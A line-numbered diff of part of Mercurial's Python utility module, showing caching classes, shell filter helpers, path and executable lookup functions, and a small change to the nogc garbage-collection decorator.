564 def f(*args):
564 def f(*args):
565 if args not in cache:
565 if args not in cache:
566 cache[args] = func(*args)
566 cache[args] = func(*args)
567 return cache[args]
567 return cache[args]
568
568
569 return f
569 return f
570
570
571 class sortdict(collections.OrderedDict):
571 class sortdict(collections.OrderedDict):
572 '''a simple sorted dictionary
572 '''a simple sorted dictionary
573
573
574 >>> d1 = sortdict([('a', 0), ('b', 1)])
574 >>> d1 = sortdict([('a', 0), ('b', 1)])
575 >>> d2 = d1.copy()
575 >>> d2 = d1.copy()
576 >>> d2
576 >>> d2
577 sortdict([('a', 0), ('b', 1)])
577 sortdict([('a', 0), ('b', 1)])
578 >>> d2.update([('a', 2)])
578 >>> d2.update([('a', 2)])
579 >>> d2.keys() # should still be in last-set order
579 >>> d2.keys() # should still be in last-set order
580 ['b', 'a']
580 ['b', 'a']
581 '''
581 '''
582
582
583 def __setitem__(self, key, value):
583 def __setitem__(self, key, value):
584 if key in self:
584 if key in self:
585 del self[key]
585 del self[key]
586 super(sortdict, self).__setitem__(key, value)
586 super(sortdict, self).__setitem__(key, value)
587
587
588 if pycompat.ispypy:
588 if pycompat.ispypy:
589 # __setitem__() isn't called as of PyPy 5.8.0
589 # __setitem__() isn't called as of PyPy 5.8.0
590 def update(self, src):
590 def update(self, src):
591 if isinstance(src, dict):
591 if isinstance(src, dict):
592 src = src.iteritems()
592 src = src.iteritems()
593 for k, v in src:
593 for k, v in src:
594 self[k] = v
594 self[k] = v
595
595
596 class transactional(object):
596 class transactional(object):
597 """Base class for making a transactional type into a context manager."""
597 """Base class for making a transactional type into a context manager."""
598 __metaclass__ = abc.ABCMeta
598 __metaclass__ = abc.ABCMeta
599
599
600 @abc.abstractmethod
600 @abc.abstractmethod
601 def close(self):
601 def close(self):
602 """Successfully closes the transaction."""
602 """Successfully closes the transaction."""
603
603
604 @abc.abstractmethod
604 @abc.abstractmethod
605 def release(self):
605 def release(self):
606 """Marks the end of the transaction.
606 """Marks the end of the transaction.
607
607
608 If the transaction has not been closed, it will be aborted.
608 If the transaction has not been closed, it will be aborted.
609 """
609 """
610
610
611 def __enter__(self):
611 def __enter__(self):
612 return self
612 return self
613
613
614 def __exit__(self, exc_type, exc_val, exc_tb):
614 def __exit__(self, exc_type, exc_val, exc_tb):
615 try:
615 try:
616 if exc_type is None:
616 if exc_type is None:
617 self.close()
617 self.close()
618 finally:
618 finally:
619 self.release()
619 self.release()
620
620
621 @contextlib.contextmanager
621 @contextlib.contextmanager
622 def acceptintervention(tr=None):
622 def acceptintervention(tr=None):
623 """A context manager that closes the transaction on InterventionRequired
623 """A context manager that closes the transaction on InterventionRequired
624
624
625 If no transaction was provided, this simply runs the body and returns
625 If no transaction was provided, this simply runs the body and returns
626 """
626 """
627 if not tr:
627 if not tr:
628 yield
628 yield
629 return
629 return
630 try:
630 try:
631 yield
631 yield
632 tr.close()
632 tr.close()
633 except error.InterventionRequired:
633 except error.InterventionRequired:
634 tr.close()
634 tr.close()
635 raise
635 raise
636 finally:
636 finally:
637 tr.release()
637 tr.release()
638
638
639 @contextlib.contextmanager
639 @contextlib.contextmanager
640 def nullcontextmanager():
640 def nullcontextmanager():
641 yield
641 yield
642
642
643 class _lrucachenode(object):
643 class _lrucachenode(object):
644 """A node in a doubly linked list.
644 """A node in a doubly linked list.
645
645
646 Holds a reference to nodes on either side as well as a key-value
646 Holds a reference to nodes on either side as well as a key-value
647 pair for the dictionary entry.
647 pair for the dictionary entry.
648 """
648 """
649 __slots__ = (u'next', u'prev', u'key', u'value')
649 __slots__ = (u'next', u'prev', u'key', u'value')
650
650
651 def __init__(self):
651 def __init__(self):
652 self.next = None
652 self.next = None
653 self.prev = None
653 self.prev = None
654
654
655 self.key = _notset
655 self.key = _notset
656 self.value = None
656 self.value = None
657
657
658 def markempty(self):
658 def markempty(self):
659 """Mark the node as emptied."""
659 """Mark the node as emptied."""
660 self.key = _notset
660 self.key = _notset
661
661
662 class lrucachedict(object):
662 class lrucachedict(object):
663 """Dict that caches most recent accesses and sets.
663 """Dict that caches most recent accesses and sets.
664
664
665 The dict consists of an actual backing dict - indexed by original
665 The dict consists of an actual backing dict - indexed by original
666 key - and a doubly linked circular list defining the order of entries in
666 key - and a doubly linked circular list defining the order of entries in
667 the cache.
667 the cache.
668
668
669 The head node is the newest entry in the cache. If the cache is full,
669 The head node is the newest entry in the cache. If the cache is full,
670 we recycle head.prev and make it the new head. Cache accesses result in
670 we recycle head.prev and make it the new head. Cache accesses result in
671 the node being moved to before the existing head and being marked as the
671 the node being moved to before the existing head and being marked as the
672 new head node.
672 new head node.
673 """
673 """
674 def __init__(self, max):
674 def __init__(self, max):
675 self._cache = {}
675 self._cache = {}
676
676
677 self._head = head = _lrucachenode()
677 self._head = head = _lrucachenode()
678 head.prev = head
678 head.prev = head
679 head.next = head
679 head.next = head
680 self._size = 1
680 self._size = 1
681 self._capacity = max
681 self._capacity = max
682
682
683 def __len__(self):
683 def __len__(self):
684 return len(self._cache)
684 return len(self._cache)
685
685
686 def __contains__(self, k):
686 def __contains__(self, k):
687 return k in self._cache
687 return k in self._cache
688
688
689 def __iter__(self):
689 def __iter__(self):
690 # We don't have to iterate in cache order, but why not.
690 # We don't have to iterate in cache order, but why not.
691 n = self._head
691 n = self._head
692 for i in range(len(self._cache)):
692 for i in range(len(self._cache)):
693 yield n.key
693 yield n.key
694 n = n.next
694 n = n.next
695
695
696 def __getitem__(self, k):
696 def __getitem__(self, k):
697 node = self._cache[k]
697 node = self._cache[k]
698 self._movetohead(node)
698 self._movetohead(node)
699 return node.value
699 return node.value
700
700
701 def __setitem__(self, k, v):
701 def __setitem__(self, k, v):
702 node = self._cache.get(k)
702 node = self._cache.get(k)
703 # Replace existing value and mark as newest.
703 # Replace existing value and mark as newest.
704 if node is not None:
704 if node is not None:
705 node.value = v
705 node.value = v
706 self._movetohead(node)
706 self._movetohead(node)
707 return
707 return
708
708
709 if self._size < self._capacity:
709 if self._size < self._capacity:
710 node = self._addcapacity()
710 node = self._addcapacity()
711 else:
711 else:
712 # Grab the last/oldest item.
712 # Grab the last/oldest item.
713 node = self._head.prev
713 node = self._head.prev
714
714
715 # At capacity. Kill the old entry.
715 # At capacity. Kill the old entry.
716 if node.key is not _notset:
716 if node.key is not _notset:
717 del self._cache[node.key]
717 del self._cache[node.key]
718
718
719 node.key = k
719 node.key = k
720 node.value = v
720 node.value = v
721 self._cache[k] = node
721 self._cache[k] = node
722 # And mark it as newest entry. No need to adjust order since it
722 # And mark it as newest entry. No need to adjust order since it
723 # is already self._head.prev.
723 # is already self._head.prev.
724 self._head = node
724 self._head = node
725
725
726 def __delitem__(self, k):
726 def __delitem__(self, k):
727 node = self._cache.pop(k)
727 node = self._cache.pop(k)
728 node.markempty()
728 node.markempty()
729
729
730 # Temporarily mark as newest item before re-adjusting head to make
730 # Temporarily mark as newest item before re-adjusting head to make
731 # this node the oldest item.
731 # this node the oldest item.
732 self._movetohead(node)
732 self._movetohead(node)
733 self._head = node.next
733 self._head = node.next
734
734
735 # Additional dict methods.
735 # Additional dict methods.
736
736
737 def get(self, k, default=None):
737 def get(self, k, default=None):
738 try:
738 try:
739 return self._cache[k].value
739 return self._cache[k].value
740 except KeyError:
740 except KeyError:
741 return default
741 return default
742
742
743 def clear(self):
743 def clear(self):
744 n = self._head
744 n = self._head
745 while n.key is not _notset:
745 while n.key is not _notset:
746 n.markempty()
746 n.markempty()
747 n = n.next
747 n = n.next
748
748
749 self._cache.clear()
749 self._cache.clear()
750
750
751 def copy(self):
751 def copy(self):
752 result = lrucachedict(self._capacity)
752 result = lrucachedict(self._capacity)
753 n = self._head.prev
753 n = self._head.prev
754 # Iterate in oldest-to-newest order, so the copy has the right ordering
754 # Iterate in oldest-to-newest order, so the copy has the right ordering
755 for i in range(len(self._cache)):
755 for i in range(len(self._cache)):
756 result[n.key] = n.value
756 result[n.key] = n.value
757 n = n.prev
757 n = n.prev
758 return result
758 return result
759
759
760 def _movetohead(self, node):
760 def _movetohead(self, node):
761 """Mark a node as the newest, making it the new head.
761 """Mark a node as the newest, making it the new head.
762
762
763 When a node is accessed, it becomes the freshest entry in the LRU
763 When a node is accessed, it becomes the freshest entry in the LRU
764 list, which is denoted by self._head.
764 list, which is denoted by self._head.
765
765
766 Visually, let's make ``N`` the new head node (* denotes head):
766 Visually, let's make ``N`` the new head node (* denotes head):
767
767
768 previous/oldest <-> head <-> next/next newest
768 previous/oldest <-> head <-> next/next newest
769
769
770 ----<->--- A* ---<->-----
770 ----<->--- A* ---<->-----
771 | |
771 | |
772 E <-> D <-> N <-> C <-> B
772 E <-> D <-> N <-> C <-> B
773
773
774 To:
774 To:
775
775
776 ----<->--- N* ---<->-----
776 ----<->--- N* ---<->-----
777 | |
777 | |
778 E <-> D <-> C <-> B <-> A
778 E <-> D <-> C <-> B <-> A
779
779
780 This requires the following moves:
780 This requires the following moves:
781
781
782 C.next = D (node.prev.next = node.next)
782 C.next = D (node.prev.next = node.next)
783 D.prev = C (node.next.prev = node.prev)
783 D.prev = C (node.next.prev = node.prev)
784 E.next = N (head.prev.next = node)
784 E.next = N (head.prev.next = node)
785 N.prev = E (node.prev = head.prev)
785 N.prev = E (node.prev = head.prev)
786 N.next = A (node.next = head)
786 N.next = A (node.next = head)
787 A.prev = N (head.prev = node)
787 A.prev = N (head.prev = node)
788 """
788 """
789 head = self._head
789 head = self._head
790 # C.next = D
790 # C.next = D
791 node.prev.next = node.next
791 node.prev.next = node.next
792 # D.prev = C
792 # D.prev = C
793 node.next.prev = node.prev
793 node.next.prev = node.prev
794 # N.prev = E
794 # N.prev = E
795 node.prev = head.prev
795 node.prev = head.prev
796 # N.next = A
796 # N.next = A
797 # It is tempting to do just "head" here, however if node is
797 # It is tempting to do just "head" here, however if node is
798 # adjacent to head, this will do bad things.
798 # adjacent to head, this will do bad things.
799 node.next = head.prev.next
799 node.next = head.prev.next
800 # E.next = N
800 # E.next = N
801 node.next.prev = node
801 node.next.prev = node
802 # A.prev = N
802 # A.prev = N
803 node.prev.next = node
803 node.prev.next = node
804
804
805 self._head = node
805 self._head = node
806
806
807 def _addcapacity(self):
807 def _addcapacity(self):
808 """Add a node to the circular linked list.
808 """Add a node to the circular linked list.
809
809
810 The new node is inserted before the head node.
810 The new node is inserted before the head node.
811 """
811 """
812 head = self._head
812 head = self._head
813 node = _lrucachenode()
813 node = _lrucachenode()
814 head.prev.next = node
814 head.prev.next = node
815 node.prev = head.prev
815 node.prev = head.prev
816 node.next = head
816 node.next = head
817 head.prev = node
817 head.prev = node
818 self._size += 1
818 self._size += 1
819 return node
819 return node
820
820
821 def lrucachefunc(func):
821 def lrucachefunc(func):
822 '''cache most recent results of function calls'''
822 '''cache most recent results of function calls'''
823 cache = {}
823 cache = {}
824 order = collections.deque()
824 order = collections.deque()
825 if func.__code__.co_argcount == 1:
825 if func.__code__.co_argcount == 1:
826 def f(arg):
826 def f(arg):
827 if arg not in cache:
827 if arg not in cache:
828 if len(cache) > 20:
828 if len(cache) > 20:
829 del cache[order.popleft()]
829 del cache[order.popleft()]
830 cache[arg] = func(arg)
830 cache[arg] = func(arg)
831 else:
831 else:
832 order.remove(arg)
832 order.remove(arg)
833 order.append(arg)
833 order.append(arg)
834 return cache[arg]
834 return cache[arg]
835 else:
835 else:
836 def f(*args):
836 def f(*args):
837 if args not in cache:
837 if args not in cache:
838 if len(cache) > 20:
838 if len(cache) > 20:
839 del cache[order.popleft()]
839 del cache[order.popleft()]
840 cache[args] = func(*args)
840 cache[args] = func(*args)
841 else:
841 else:
842 order.remove(args)
842 order.remove(args)
843 order.append(args)
843 order.append(args)
844 return cache[args]
844 return cache[args]
845
845
846 return f
846 return f
847
847
848 class propertycache(object):
848 class propertycache(object):
849 def __init__(self, func):
849 def __init__(self, func):
850 self.func = func
850 self.func = func
851 self.name = func.__name__
851 self.name = func.__name__
852 def __get__(self, obj, type=None):
852 def __get__(self, obj, type=None):
853 result = self.func(obj)
853 result = self.func(obj)
854 self.cachevalue(obj, result)
854 self.cachevalue(obj, result)
855 return result
855 return result
856
856
857 def cachevalue(self, obj, value):
857 def cachevalue(self, obj, value):
858 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
858 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
859 obj.__dict__[self.name] = value
859 obj.__dict__[self.name] = value
860
860
861 def pipefilter(s, cmd):
861 def pipefilter(s, cmd):
862 '''filter string S through command CMD, returning its output'''
862 '''filter string S through command CMD, returning its output'''
863 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
863 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
864 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
864 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
865 pout, perr = p.communicate(s)
865 pout, perr = p.communicate(s)
866 return pout
866 return pout
867
867
868 def tempfilter(s, cmd):
868 def tempfilter(s, cmd):
869 '''filter string S through a pair of temporary files with CMD.
869 '''filter string S through a pair of temporary files with CMD.
870 CMD is used as a template to create the real command to be run,
870 CMD is used as a template to create the real command to be run,
871 with the strings INFILE and OUTFILE replaced by the real names of
871 with the strings INFILE and OUTFILE replaced by the real names of
872 the temporary files generated.'''
872 the temporary files generated.'''
873 inname, outname = None, None
873 inname, outname = None, None
874 try:
874 try:
875 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
875 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
876 fp = os.fdopen(infd, pycompat.sysstr('wb'))
876 fp = os.fdopen(infd, pycompat.sysstr('wb'))
877 fp.write(s)
877 fp.write(s)
878 fp.close()
878 fp.close()
879 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
879 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
880 os.close(outfd)
880 os.close(outfd)
881 cmd = cmd.replace('INFILE', inname)
881 cmd = cmd.replace('INFILE', inname)
882 cmd = cmd.replace('OUTFILE', outname)
882 cmd = cmd.replace('OUTFILE', outname)
883 code = os.system(cmd)
883 code = os.system(cmd)
884 if pycompat.sysplatform == 'OpenVMS' and code & 1:
884 if pycompat.sysplatform == 'OpenVMS' and code & 1:
885 code = 0
885 code = 0
886 if code:
886 if code:
887 raise Abort(_("command '%s' failed: %s") %
887 raise Abort(_("command '%s' failed: %s") %
888 (cmd, explainexit(code)))
888 (cmd, explainexit(code)))
889 return readfile(outname)
889 return readfile(outname)
890 finally:
890 finally:
891 try:
891 try:
892 if inname:
892 if inname:
893 os.unlink(inname)
893 os.unlink(inname)
894 except OSError:
894 except OSError:
895 pass
895 pass
896 try:
896 try:
897 if outname:
897 if outname:
898 os.unlink(outname)
898 os.unlink(outname)
899 except OSError:
899 except OSError:
900 pass
900 pass
901
901
902 filtertable = {
902 filtertable = {
903 'tempfile:': tempfilter,
903 'tempfile:': tempfilter,
904 'pipe:': pipefilter,
904 'pipe:': pipefilter,
905 }
905 }
906
906
907 def filter(s, cmd):
907 def filter(s, cmd):
908 "filter a string through a command that transforms its input to its output"
908 "filter a string through a command that transforms its input to its output"
909 for name, fn in filtertable.iteritems():
909 for name, fn in filtertable.iteritems():
910 if cmd.startswith(name):
910 if cmd.startswith(name):
911 return fn(s, cmd[len(name):].lstrip())
911 return fn(s, cmd[len(name):].lstrip())
912 return pipefilter(s, cmd)
912 return pipefilter(s, cmd)
913
913
914 def binary(s):
914 def binary(s):
915 """return true if a string is binary data"""
915 """return true if a string is binary data"""
916 return bool(s and '\0' in s)
916 return bool(s and '\0' in s)
917
917
918 def increasingchunks(source, min=1024, max=65536):
918 def increasingchunks(source, min=1024, max=65536):
919 '''return no less than min bytes per chunk while data remains,
919 '''return no less than min bytes per chunk while data remains,
920 doubling min after each chunk until it reaches max'''
920 doubling min after each chunk until it reaches max'''
921 def log2(x):
921 def log2(x):
922 if not x:
922 if not x:
923 return 0
923 return 0
924 i = 0
924 i = 0
925 while x:
925 while x:
926 x >>= 1
926 x >>= 1
927 i += 1
927 i += 1
928 return i - 1
928 return i - 1
929
929
930 buf = []
930 buf = []
931 blen = 0
931 blen = 0
932 for chunk in source:
932 for chunk in source:
933 buf.append(chunk)
933 buf.append(chunk)
934 blen += len(chunk)
934 blen += len(chunk)
935 if blen >= min:
935 if blen >= min:
936 if min < max:
936 if min < max:
937 min = min << 1
937 min = min << 1
938 nmin = 1 << log2(blen)
938 nmin = 1 << log2(blen)
939 if nmin > min:
939 if nmin > min:
940 min = nmin
940 min = nmin
941 if min > max:
941 if min > max:
942 min = max
942 min = max
943 yield ''.join(buf)
943 yield ''.join(buf)
944 blen = 0
944 blen = 0
945 buf = []
945 buf = []
946 if buf:
946 if buf:
947 yield ''.join(buf)
947 yield ''.join(buf)
948
948
949 Abort = error.Abort
949 Abort = error.Abort
950
950
951 def always(fn):
951 def always(fn):
952 return True
952 return True
953
953
954 def never(fn):
954 def never(fn):
955 return False
955 return False
956
956
957 def nogc(func):
957 def nogc(func):
958 """disable garbage collector
958 """disable garbage collector
959
959
960 Python's garbage collector triggers a GC each time a certain number of
960 Python's garbage collector triggers a GC each time a certain number of
961 container objects (the number being defined by gc.get_threshold()) are
961 container objects (the number being defined by gc.get_threshold()) are
962 allocated even when marked not to be tracked by the collector. Tracking has
962 allocated even when marked not to be tracked by the collector. Tracking has
963 no effect on when GCs are triggered, only on what objects the GC looks
963 no effect on when GCs are triggered, only on what objects the GC looks
964 into. As a workaround, disable GC while building complex (huge)
964 into. As a workaround, disable GC while building complex (huge)
965 containers.
965 containers.
966
966
967 This garbage collector issue have been fixed in 2.7.
967 This garbage collector issue have been fixed in 2.7. But it still affect
968 CPython's performance.
968 """
969 """
969 if sys.version_info >= (2, 7):
970 return func
971 def wrapper(*args, **kwargs):
970 def wrapper(*args, **kwargs):
972 gcenabled = gc.isenabled()
971 gcenabled = gc.isenabled()
973 gc.disable()
972 gc.disable()
974 try:
973 try:
975 return func(*args, **kwargs)
974 return func(*args, **kwargs)
976 finally:
975 finally:
977 if gcenabled:
976 if gcenabled:
978 gc.enable()
977 gc.enable()
979 return wrapper
978 return wrapper
980
979
980 if pycompat.ispypy:
981 # PyPy runs slower with gc disabled
982 nogc = lambda x: x
983
981 def pathto(root, n1, n2):
984 def pathto(root, n1, n2):
982 '''return the relative path from one place to another.
985 '''return the relative path from one place to another.
983 root should use os.sep to separate directories
986 root should use os.sep to separate directories
984 n1 should use os.sep to separate directories
987 n1 should use os.sep to separate directories
985 n2 should use "/" to separate directories
988 n2 should use "/" to separate directories
986 returns an os.sep-separated path.
989 returns an os.sep-separated path.
987
990
988 If n1 is a relative path, it's assumed it's
991 If n1 is a relative path, it's assumed it's
989 relative to root.
992 relative to root.
990 n2 should always be relative to root.
993 n2 should always be relative to root.
991 '''
994 '''
992 if not n1:
995 if not n1:
993 return localpath(n2)
996 return localpath(n2)
994 if os.path.isabs(n1):
997 if os.path.isabs(n1):
995 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
998 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
996 return os.path.join(root, localpath(n2))
999 return os.path.join(root, localpath(n2))
997 n2 = '/'.join((pconvert(root), n2))
1000 n2 = '/'.join((pconvert(root), n2))
998 a, b = splitpath(n1), n2.split('/')
1001 a, b = splitpath(n1), n2.split('/')
999 a.reverse()
1002 a.reverse()
1000 b.reverse()
1003 b.reverse()
1001 while a and b and a[-1] == b[-1]:
1004 while a and b and a[-1] == b[-1]:
1002 a.pop()
1005 a.pop()
1003 b.pop()
1006 b.pop()
1004 b.reverse()
1007 b.reverse()
1005 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1008 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1006
1009
1007 def mainfrozen():
1010 def mainfrozen():
1008 """return True if we are a frozen executable.
1011 """return True if we are a frozen executable.
1009
1012
1010 The code supports py2exe (most common, Windows only) and tools/freeze
1013 The code supports py2exe (most common, Windows only) and tools/freeze
1011 (portable, not much used).
1014 (portable, not much used).
1012 """
1015 """
1013 return (safehasattr(sys, "frozen") or # new py2exe
1016 return (safehasattr(sys, "frozen") or # new py2exe
1014 safehasattr(sys, "importers") or # old py2exe
1017 safehasattr(sys, "importers") or # old py2exe
1015 imp.is_frozen(u"__main__")) # tools/freeze
1018 imp.is_frozen(u"__main__")) # tools/freeze
1016
1019
1017 # the location of data files matching the source code
1020 # the location of data files matching the source code
1018 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1021 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1019 # executable version (py2exe) doesn't support __file__
1022 # executable version (py2exe) doesn't support __file__
1020 datapath = os.path.dirname(pycompat.sysexecutable)
1023 datapath = os.path.dirname(pycompat.sysexecutable)
1021 else:
1024 else:
1022 datapath = os.path.dirname(pycompat.fsencode(__file__))
1025 datapath = os.path.dirname(pycompat.fsencode(__file__))
1023
1026
1024 i18n.setdatapath(datapath)
1027 i18n.setdatapath(datapath)
1025
1028
1026 _hgexecutable = None
1029 _hgexecutable = None
1027
1030
1028 def hgexecutable():
1031 def hgexecutable():
1029 """return location of the 'hg' executable.
1032 """return location of the 'hg' executable.
1030
1033
1031 Defaults to $HG or 'hg' in the search path.
1034 Defaults to $HG or 'hg' in the search path.
1032 """
1035 """
1033 if _hgexecutable is None:
1036 if _hgexecutable is None:
1034 hg = encoding.environ.get('HG')
1037 hg = encoding.environ.get('HG')
1035 mainmod = sys.modules[pycompat.sysstr('__main__')]
1038 mainmod = sys.modules[pycompat.sysstr('__main__')]
1036 if hg:
1039 if hg:
1037 _sethgexecutable(hg)
1040 _sethgexecutable(hg)
1038 elif mainfrozen():
1041 elif mainfrozen():
1039 if getattr(sys, 'frozen', None) == 'macosx_app':
1042 if getattr(sys, 'frozen', None) == 'macosx_app':
1040 # Env variable set by py2app
1043 # Env variable set by py2app
1041 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1044 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1042 else:
1045 else:
1043 _sethgexecutable(pycompat.sysexecutable)
1046 _sethgexecutable(pycompat.sysexecutable)
1044 elif (os.path.basename(
1047 elif (os.path.basename(
1045 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1048 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1046 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1049 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1047 else:
1050 else:
1048 exe = findexe('hg') or os.path.basename(sys.argv[0])
1051 exe = findexe('hg') or os.path.basename(sys.argv[0])
1049 _sethgexecutable(exe)
1052 _sethgexecutable(exe)
1050 return _hgexecutable
1053 return _hgexecutable
1051
1054
1052 def _sethgexecutable(path):
1055 def _sethgexecutable(path):
1053 """set location of the 'hg' executable"""
1056 """set location of the 'hg' executable"""
1054 global _hgexecutable
1057 global _hgexecutable
1055 _hgexecutable = path
1058 _hgexecutable = path
1056
1059
1057 def _isstdout(f):
1060 def _isstdout(f):
1058 fileno = getattr(f, 'fileno', None)
1061 fileno = getattr(f, 'fileno', None)
1059 return fileno and fileno() == sys.__stdout__.fileno()
1062 return fileno and fileno() == sys.__stdout__.fileno()
1060
1063
1061 def shellenviron(environ=None):
1064 def shellenviron(environ=None):
1062 """return environ with optional override, useful for shelling out"""
1065 """return environ with optional override, useful for shelling out"""
1063 def py2shell(val):
1066 def py2shell(val):
1064 'convert python object into string that is useful to shell'
1067 'convert python object into string that is useful to shell'
1065 if val is None or val is False:
1068 if val is None or val is False:
1066 return '0'
1069 return '0'
1067 if val is True:
1070 if val is True:
1068 return '1'
1071 return '1'
1069 return str(val)
1072 return str(val)
1070 env = dict(encoding.environ)
1073 env = dict(encoding.environ)
1071 if environ:
1074 if environ:
1072 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1075 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1073 env['HG'] = hgexecutable()
1076 env['HG'] = hgexecutable()
1074 return env
1077 return env
1075
1078
1076 def system(cmd, environ=None, cwd=None, out=None):
1079 def system(cmd, environ=None, cwd=None, out=None):
1077 '''enhanced shell command execution.
1080 '''enhanced shell command execution.
1078 run with environment maybe modified, maybe in different dir.
1081 run with environment maybe modified, maybe in different dir.
1079
1082
1080 if out is specified, it is assumed to be a file-like object that has a
1083 if out is specified, it is assumed to be a file-like object that has a
1081 write() method. stdout and stderr will be redirected to out.'''
1084 write() method. stdout and stderr will be redirected to out.'''
1082 try:
1085 try:
1083 stdout.flush()
1086 stdout.flush()
1084 except Exception:
1087 except Exception:
1085 pass
1088 pass
1086 cmd = quotecommand(cmd)
1089 cmd = quotecommand(cmd)
1087 env = shellenviron(environ)
1090 env = shellenviron(environ)
1088 if out is None or _isstdout(out):
1091 if out is None or _isstdout(out):
1089 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1092 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1090 env=env, cwd=cwd)
1093 env=env, cwd=cwd)
1091 else:
1094 else:
1092 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1095 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1093 env=env, cwd=cwd, stdout=subprocess.PIPE,
1096 env=env, cwd=cwd, stdout=subprocess.PIPE,
1094 stderr=subprocess.STDOUT)
1097 stderr=subprocess.STDOUT)
1095 for line in iter(proc.stdout.readline, ''):
1098 for line in iter(proc.stdout.readline, ''):
1096 out.write(line)
1099 out.write(line)
1097 proc.wait()
1100 proc.wait()
1098 rc = proc.returncode
1101 rc = proc.returncode
1099 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1102 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1100 rc = 0
1103 rc = 0
1101 return rc
1104 return rc
1102
1105
1103 def checksignature(func):
1106 def checksignature(func):
1104 '''wrap a function with code to check for calling errors'''
1107 '''wrap a function with code to check for calling errors'''
1105 def check(*args, **kwargs):
1108 def check(*args, **kwargs):
1106 try:
1109 try:
1107 return func(*args, **kwargs)
1110 return func(*args, **kwargs)
1108 except TypeError:
1111 except TypeError:
1109 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1112 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1110 raise error.SignatureError
1113 raise error.SignatureError
1111 raise
1114 raise
1112
1115
1113 return check
1116 return check
1114
1117
1115 # a whilelist of known filesystems where hardlink works reliably
1118 # a whilelist of known filesystems where hardlink works reliably
1116 _hardlinkfswhitelist = {
1119 _hardlinkfswhitelist = {
1117 'btrfs',
1120 'btrfs',
1118 'ext2',
1121 'ext2',
1119 'ext3',
1122 'ext3',
1120 'ext4',
1123 'ext4',
1121 'hfs',
1124 'hfs',
1122 'jfs',
1125 'jfs',
1123 'reiserfs',
1126 'reiserfs',
1124 'tmpfs',
1127 'tmpfs',
1125 'ufs',
1128 'ufs',
1126 'xfs',
1129 'xfs',
1127 'zfs',
1130 'zfs',
1128 }
1131 }
1129
1132
1130 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1133 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1131 '''copy a file, preserving mode and optionally other stat info like
1134 '''copy a file, preserving mode and optionally other stat info like
1132 atime/mtime
1135 atime/mtime
1133
1136
1134 checkambig argument is used with filestat, and is useful only if
1137 checkambig argument is used with filestat, and is useful only if
1135 destination file is guarded by any lock (e.g. repo.lock or
1138 destination file is guarded by any lock (e.g. repo.lock or
1136 repo.wlock).
1139 repo.wlock).
1137
1140
1138 copystat and checkambig should be exclusive.
1141 copystat and checkambig should be exclusive.
1139 '''
1142 '''
1140 assert not (copystat and checkambig)
1143 assert not (copystat and checkambig)
1141 oldstat = None
1144 oldstat = None
1142 if os.path.lexists(dest):
1145 if os.path.lexists(dest):
1143 if checkambig:
1146 if checkambig:
1144 oldstat = checkambig and filestat.frompath(dest)
1147 oldstat = checkambig and filestat.frompath(dest)
1145 unlink(dest)
1148 unlink(dest)
1146 if hardlink:
1149 if hardlink:
1147 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1150 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1148 # unless we are confident that dest is on a whitelisted filesystem.
1151 # unless we are confident that dest is on a whitelisted filesystem.
1149 try:
1152 try:
1150 fstype = getfstype(os.path.dirname(dest))
1153 fstype = getfstype(os.path.dirname(dest))
1151 except OSError:
1154 except OSError:
1152 fstype = None
1155 fstype = None
1153 if fstype not in _hardlinkfswhitelist:
1156 if fstype not in _hardlinkfswhitelist:
1154 hardlink = False
1157 hardlink = False
1155 if hardlink:
1158 if hardlink:
1156 try:
1159 try:
1157 oslink(src, dest)
1160 oslink(src, dest)
1158 return
1161 return
1159 except (IOError, OSError):
1162 except (IOError, OSError):
1160 pass # fall back to normal copy
1163 pass # fall back to normal copy
1161 if os.path.islink(src):
1164 if os.path.islink(src):
1162 os.symlink(os.readlink(src), dest)
1165 os.symlink(os.readlink(src), dest)
1163 # copytime is ignored for symlinks, but in general copytime isn't needed
1166 # copytime is ignored for symlinks, but in general copytime isn't needed
1164 # for them anyway
1167 # for them anyway
1165 else:
1168 else:
1166 try:
1169 try:
1167 shutil.copyfile(src, dest)
1170 shutil.copyfile(src, dest)
1168 if copystat:
1171 if copystat:
1169 # copystat also copies mode
1172 # copystat also copies mode
1170 shutil.copystat(src, dest)
1173 shutil.copystat(src, dest)
1171 else:
1174 else:
1172 shutil.copymode(src, dest)
1175 shutil.copymode(src, dest)
1173 if oldstat and oldstat.stat:
1176 if oldstat and oldstat.stat:
1174 newstat = filestat.frompath(dest)
1177 newstat = filestat.frompath(dest)
1175 if newstat.isambig(oldstat):
1178 if newstat.isambig(oldstat):
1176 # stat of copied file is ambiguous to original one
1179 # stat of copied file is ambiguous to original one
